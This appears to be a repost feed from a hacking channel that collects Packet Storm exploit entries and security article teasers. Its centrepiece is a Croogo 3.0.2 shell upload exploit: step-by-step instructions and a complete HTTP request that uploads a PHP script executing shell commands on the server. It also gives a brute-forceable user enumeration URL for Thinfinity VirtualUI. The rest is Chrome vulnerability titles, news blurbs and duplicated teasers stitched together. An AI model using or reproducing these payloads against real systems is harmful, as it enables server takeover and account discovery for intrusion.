Exploit Collector
Croogo 3.0.2 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Croogo 3.0.2 Shell Upload

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Croogo version 3.0.2 suffers from a remote shell upload vulnerability.

MD5 | 83ce95d2cea55795cd0b019b4a3bff21

Download
# Exploit Title: Croogo 3.0.2 - Unrestricted File Upload
# Date: 06/12/2021
# Exploit Author: Enes Özeser
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3

==> 'setting-43' Unrestricted File Upload

1- Login with your privileged account.
2- Click on the 'Settings' section.
3- Go to the 'Themes'. Directory is '/admin/settings/settings/prefix/Theme'
4- Choose a malicious php script and upload it.
5- Go to the '/uploads/(NAME).php' directory. You must change 'NAME' parameter with your filename you uploaded.
6- The malicious PHP script will be executed.

POST /admin/settings/settings/prefix/Theme HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------360738881613175158033315978127
Content-Length: 970
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/settings/settings/prefix/Theme
Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_method"

POST
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_csrfToken"

c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="setting-43"; filename="malicious.php"
Content-Type: application/octet-stream
$command = shell_exec('netstat -an');
echo "$command";
?>

-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_Token[fields]"

c4e0a45b25b5eaf8fa6e0e4ddcd3be00c621b803%3A
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_Token[unlocked]"
-----------------------------360738881613175158033315978127--


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cibele Thinfinity VirtualUI 2.5.41.0 User Enumeration

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Cibele Thinfinity VirtualUI version 2.5.41.0 suffers from a user enumeration vulnerability.

MD5 | 075e1c749825a41f790a7703ee3dc388

Download
# Exploit Title: Cibele Thinfinity VirtualUI 2.5.41.0 - User Enumeration
# Date: 13/12/2021
# Exploit Author: Daniel Morales, IT Security Team - ARHS Spikeseed
# Vendor Homepage: https://www.cybelesoft.com
# Software Link: https://www.cybelesoft.com/thinfinity/virtualui/
# Version: vulnerable < v3.0
# Tested on: Microsoft Windows
# CVE: CVE-2021-44848

How it works: By accessing the vector, an attacker can determine if a username exists thanks to the message returned; it can be presented in different languages according to the configuration of VirtualUI. Common users are administrator, admin, guest...
Payload: The vulnerable vector is "https://example.com/changePassword?username=USERNAME" where "USERNAME" need to be brute-forced.
Reference: https://github.com/cybelesoft/virtualui/issues/1


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome blink::NativeIOFile::DoRead Heap Use-After-Free

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
Chrome suffers from a heap use-after-free vulnerability in blink::NativeIOFile::DoRead.

MD5 | e51b3f4d20f95cd97c31e2cfc01a4df7

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome ThreadedIconLoader::DecodeAndResizeImageOnBackgroundThread Heap Use-After-Free

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Chrome suffers from a heap use-after-free vulnerability in ThreadedIconLoader::DecodeAndResizeImageOnBackgroundThread.

MD5 | 970ce6283c7d9f02e474b4ef93003566

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome NavigationPreloadRequest Site Isolation Bypass

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Chrome suffers from a site isolation bypass vulnerability in NavigationPreloadRequest.

MD5 | 79cec0e9bbab06da069bc3e1a41127e4

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

HTTP VERB TAMPERING:
https://haxor8595.medium.com/http-verb-tampering-ec69d91c7d5b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

HTTP Verb Altering is an assault that misuses vulnerabilities in HTTP verb (too known as HTTP strategy) verification and gets to control…Continue reading on Medium » (https://haxor8595.medium.com/http-verb-tampering-ec69d91c7d5b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

User Enumeration- Forgot Password #VDP
https://haxor8595.medium.com/user-enumeration-forgot-password-vdp-1f073875634e?source=rss------bug_bounty-5

User Enumeration:Continue reading on Medium » (https://haxor8595.medium.com/user-enumeration-forgot-password-vdp-1f073875634e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Dear Congress: It's Complicated. Please Consider This When Crafting New Cybersecurity Legislation

As mandatory reporting bills work their way through the halls of Congress, what should businesses do to prepare for this pending legislation?

Dark Reading: Attacks/Breaches
Log4Shell: The Big Picture

A look at why this is such a tricky vulnerability and why the industry response has been good, but not great.

Intro to Cryptography and Signatures in Ethereum

Everyone who has ever dealt with a blockchain system like Ethereum knows what blockchain consists of, such as blocks, transactions, and…Continue reading on Immunefi »
Read more...

HTTP VERB TAMPERING:

HTTP Verb Altering is an assault that misuses vulnerabilities in HTTP verb (too known as HTTP strategy) verification and gets to control…Continue reading on Medium »
Read more...

User Enumeration- Forgot Password #VDP

User Enumeration:Continue reading on Medium »
Read more...